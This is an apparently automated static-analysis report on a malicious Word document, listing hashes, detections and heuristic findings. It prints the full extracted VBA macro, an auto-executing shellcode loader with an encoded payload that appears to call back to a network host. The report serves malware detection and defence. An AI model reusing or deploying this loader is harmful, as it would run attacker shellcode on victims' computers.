Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 e40791d079eb4bcd…

MALICIOUS

Office (OOXML) / .DOCX

19.7 KB Created: 2026-03-19 13:57:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-22
MD5: aebbb6a18a9cd003798de1e840cc6433 SHA-1: f7db214c0121ca642db488bdc514a55b133926e2 SHA-256: e40791d079eb4bcd7230a5eb44650eb69386dbd42a30e8b508ea70693dc8c31d
218 Risk Score

Heuristics 6

  • ClamAV: Doc.Malware.Valyria-10001333-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10001333-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3851 bytes
SHA-256: 494292ce64b8646a8c127859ade7c93553a0a7eaffd62451be79e51aef7e12d4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function mymacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    
    buf = Array(254, 234, 145, 2, 2, 2, 98, 139, 231, 51, 212, 102, 141, 84, 50, 141, 84, 14, 141, 84, 22, 17, 185, 76, 40, 141, 116, 42, 51, 1, 51, 194, 174, 62, 99, 126, 4, 46, 34, 195, 209, 15, 3, 201, 75, 119, 241, 84, 89, 141, _
84, 18, 141, 68, 62, 3, 210, 141, 66, 122, 135, 194, 118, 78, 3, 210, 141, 74, 26, 82, 141, 90, 34, 3, 213, 135, 203, 118, 62, 75, 51, 1, 141, 54, 141, 3, 216, 51, 194, 195, 209, 15, 174, 3, 201, 58, 226, 119, 246, 5, _
127, 250, 61, 127, 38, 119, 226, 90, 141, 90, 38, 3, 213, 104, 141, 14, 77, 141, 90, 30, 3, 213, 141, 6, 141, 3, 210, 139, 70, 38, 38, 93, 93, 99, 91, 92, 83, 1, 226, 90, 97, 92, 141, 20, 235, 130, 1, 1, 1, 95, _
106, 112, 103, 118, 2, 106, 121, 107, 112, 107, 86, 106, 78, 121, 40, 9, 1, 215, 51, 221, 85, 85, 85, 85, 85, 234, 133, 2, 2, 2, 79, 113, 124, 107, 110, 110, 99, 49, 55, 48, 50, 34, 42, 107, 82, 99, 102, 61, 34, 69, _
82, 87, 34, 81, 85, 34, 51, 57, 97, 57, 97, 52, 34, 110, 107, 109, 103, 34, 79, 99, 101, 34, 81, 85, 34, 90, 43, 34, 67, 114, 114, 110, 103, 89, 103, 100, 77, 107, 118, 49, 56, 50, 55, 48, 51, 48, 51, 55, 34, 42, _
77, 74, 86, 79, 78, 46, 34, 110, 107, 109, 103, 34, 73, 103, 101, 109, 113, 43, 34, 88, 103, 116, 117, 107, 113, 112, 49, 51, 57, 48, 54, 48, 51, 34, 79, 113, 100, 107, 110, 103, 49, 51, 55, 71, 51, 54, 58, 34, 85, 99, _
104, 99, 116, 107, 49, 56, 50, 54, 48, 51, 2, 106, 60, 88, 123, 169, 1, 215, 85, 85, 108, 5, 85, 85, 106, 189, 3, 2, 2, 234, 162, 2, 2, 2, 49, 51, 79, 79, 53, 99, 53, 69, 107, 58, 122, 111, 71, 124, 113, 90, _
82, 57, 83, 56, 124, 75, 105, 79, 109, 56, 86, 69, 119, 97, 74, 82, 108, 77, 53, 108, 2, 82, 106, 89, 139, 161, 200, 1, 215, 139, 200, 85, 106, 2, 4, 106, 134, 85, 85, 85, 89, 85, 88, 106, 237, 87, 48, 61, 1, 215, _
152, 108, 12, 97, 85, 85, 85, 85, 88, 106, 47, 8, 26, 125, 1, 215, 135, 194, 119, 22, 106, 138, 21, 2, 2, 106, 70, 242, 55, 226, 1, 215, 81, 119, 227, 234, 76, 2, 2, 2, 108, 66, 106, 2, 18, 2, 2, 106, 2, 2, _
66, 2, 85, 106, 90, 166, 85, 231, 1, 215, 149, 85, 85, 139, 233, 89, 106, 2, 34, 2, 2, 85, 88, 106, 20, 152, 139, 228, 1, 215, 135, 194, 118, 209, 141, 9, 3, 197, 135, 194, 119, 231, 90, 197, 97, 234, 129, 1, 1, 1, _
51, 59, 52, 48, 51, 56, 58, 48, 54, 59, 48, 55, 58, 2, 189, 226, 31, 44, 12, 106, 168, 151, 191, 159, 1, 215, 62, 8, 126, 12, 130, 253, 226, 119, 7, 189, 73, 21, 116, 113, 108, 2, 85, 1, 215)
   
    For i = 0 To UBound(buf)
        buf(i) = buf(i) - 2
    Next i

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)

End Function

Sub Document_Open()
    mymacro
End Sub

Sub AutoOpen()
    mymacro
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 47b958080227ca11b8c360a497ae1ef0ecab0328d4c72557d3679e4e9ca9211a
Detection
ClamAV: Doc.Malware.Valyria-10001333-0
Obfuscation or payload: unlikely

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